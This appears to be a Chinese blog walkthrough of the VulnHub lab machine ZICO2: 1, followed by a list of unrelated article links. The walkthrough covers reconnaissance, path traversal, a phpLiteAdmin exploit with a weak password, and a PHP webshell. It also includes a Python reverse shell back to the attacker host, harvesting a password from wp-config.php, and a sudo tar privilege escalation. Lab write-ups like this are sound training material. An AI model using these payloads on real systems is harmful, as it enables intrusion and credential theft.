当前位置: 首页 > news >正文

ZICO2: 1【附代码】(权限提升)

靶机下载地址:

https://vulnhub.com/entry/zico2-1,210/icon-default.png?t=N7T8https://vulnhub.com/entry/zico2-1,210/

1. 主机发现+端口扫描+目录扫描+敏感信息收集

1.1. 主机发现

nmap -sn 192.168.5.0/24|grep -B 2 '08:00:27:62:AC:7F'

1.2. 端口扫描

nmap -p- 192.168.5.66

1.3. 目录扫描

dirb http://192.168.5.66

1.4. 敏感信息收集

中间件:apache,操作系统:Ubuntu,CDN???【靶机应该用不上】

2. WEB打点漏洞挖掘拿shell

2.1. 进入80端口

1.老规矩,逐个点击功能点,尝试可以利用的功能 -> 下拉至网页末端,存在疑似文件包含的一个功能点

2.由上敏感信息收集,已知操作系统为Linux的Ubuntu尝试拼接常见的文件路径,由上已知操作系统为Linux的Ubuntu,但是暂时无用上传不了shell文件

http://192.168.5.66/view.php?page=../../../..//etc/passwd

2.2. 逐个拼接目录

1.拼接/dbadmin路径,发现包含着一个php文件 -> 尝试点击进入,是一个登录页面

2.尝试找一下有没有关于这个的Nday

3.有NDay,太笼统了,在kali里面直接寻找 -> 存在!而且有对应的版本号1.9.3 ->查看漏洞详情

searchsploit phpLiteadmin
cat /usr/share/exploitdb/exploits/php/webapps/24044.txt 

哈哈哈哈哈哈英语不大好,大致的关键点就是这样,还需要我们创建数据库在表的字段中写入木马文件

4.返回刚才的登录页面,尝试万能密码->不行 -> 尝试弱密码,😓【admin】好好好,弱密码admin

5.按照上述kali找到的漏洞流程利用 -> 先创建一个数据库 -> 创建一个表shell ->点击右边的go

6.进入编辑页面选择text格式 ,尝试写入一句话木马,点击creat -> 拼接路径尝试

<?php phpinfo();@system($_POST[cmd]);?>
# 拼接的路径 -> http://192.168.5.66/view.php?page=../../../..//usr/databases/shell.php

2.3. Getshell

1.kali打开监听

nc -lvnp 4444

2.此处可用burp抓包,更改POST数据包,此处我用火狐的一个插件-hackerBar更改数据包试试【用我的数据包记得改一下IP】

cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.64",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3.kali成功反弹到了

3. 权限提升

1.通过python转为交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

2.查看一下我们所在的目录有无有用信息 ->无 ->去zico家目录下找找,找到wordpress -> 该目录下存在wp-config.php -> 找到zico的密码【zico:sWfCsfJSPV9H3AmQzw8

cd /home/zico
ls -al cd wordpress
ls -al
cat wp-config.php
zico:sWfCsfJSPV9H3AmQzw8

3.利用账号密码切换到zico用户 -> 查看当前权限

su zico
sudo -l

此处我用的tar提权 -> id/whaomi 查看权限 -> 提权成功!

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 智算新风向丨趋动科技获中国信通院泰尔实验室首张智算资源池化能力泰尔测评证书
  • U2net论文复现-简单解读-以及奇奇怪怪的改进-测试roc以及pr
  • 机器学习用Python 还是 R语言?
  • Unknown input format pdf Pandoc can convert to PDF, but not from PDF.解决方案
  • Webkit与Web Push API:提升用户体验的推送技术
  • P3008 [USACO11JAN] Roads and Planes G
  • 24.8.3数据结构|双向循环链表、静态链表
  • 在大语言模型中,我们每次输入的语句长度不同,这样会影响结果吗;在大语言模型中,训练中每次的输入长度都是不一样的,但是是一样权重矩阵,不足的话是补 0吗;;;
  • 前端day7-css选择器
  • 国产AI大模型:从萌芽到繁盛,未来可期
  • uniapp vue3 转换华为鸿蒙(以及问题一些解决方案)
  • 基于javaweb的乡村旅游网站/旅游网站的设计与实现
  • html5各行各业官网模板源码下载(3)
  • 【EtherCAT】Windows+Visual Studio配置SOEM主站——静态库配置+部署
  • 暑期数据结构 空间复杂度
  • JS中 map, filter, some, every, forEach, for in, for of 用法总结
  • 【vuex入门系列02】mutation接收单个参数和多个参数
  • CentOS 7 防火墙操作
  • Debian下无root权限使用Python访问Oracle
  • gulp 教程
  • Javascript基础之Array数组API
  • Koa2 之文件上传下载
  • miaov-React 最佳入门
  • ucore操作系统实验笔记 - 重新理解中断
  • 阿里研究院入选中国企业智库系统影响力榜
  • 对象管理器(defineProperty)学习笔记
  • 将回调地狱按在地上摩擦的Promise
  • 前嗅ForeSpider教程:创建模板
  • 前言-如何学习区块链
  • 使用阿里云发布分布式网站,开发时候应该注意什么?
  • 通过npm或yarn自动生成vue组件
  • 问题之ssh中Host key verification failed的解决
  • 在Mac OS X上安装 Ruby运行环境
  • - 转 Ext2.0 form使用实例
  • 专访Pony.ai 楼天城:自动驾驶已经走过了“从0到1”,“规模”是行业的分水岭| 自动驾驶这十年 ...
  • #进阶:轻量级ORM框架Dapper的使用教程与原理详解
  • (pojstep1.1.2)2654(直叙式模拟)
  • (附源码)ssm航空客运订票系统 毕业设计 141612
  • (原创)boost.property_tree解析xml的帮助类以及中文解析问题的解决
  • *(长期更新)软考网络工程师学习笔记——Section 22 无线局域网
  • .h头文件 .lib动态链接库文件 .dll 动态链接库
  • .NET “底层”异步编程模式——异步编程模型(Asynchronous Programming Model,APM)...
  • .NET国产化改造探索(一)、VMware安装银河麒麟
  • .net最好用的JSON类Newtonsoft.Json获取多级数据SelectToken
  • /etc/fstab 只读无法修改的解决办法
  • [1]-基于图搜索的路径规划基础
  • [15] 使用Opencv_CUDA 模块实现基本计算机视觉程序
  • [ACL2022] Text Smoothing: 一种在文本分类任务上的数据增强方法
  • [AIGC] Spring Interceptor 拦截器详解
  • [C/C++]_[初级]_[关于编译时出现有符号-无符号不匹配的警告-sizeof使用注意事项]
  • [C语言]编译和链接
  • [JavaWeb]——过滤器filter与拦截器Interceptor的使用、执行过程、区别
  • [Json.net]快速入门
  • [Labview]图片叠加下的表格视图拖拽功能:挖坑粗糙版
  • [Latex学习笔记]数学公式基本命令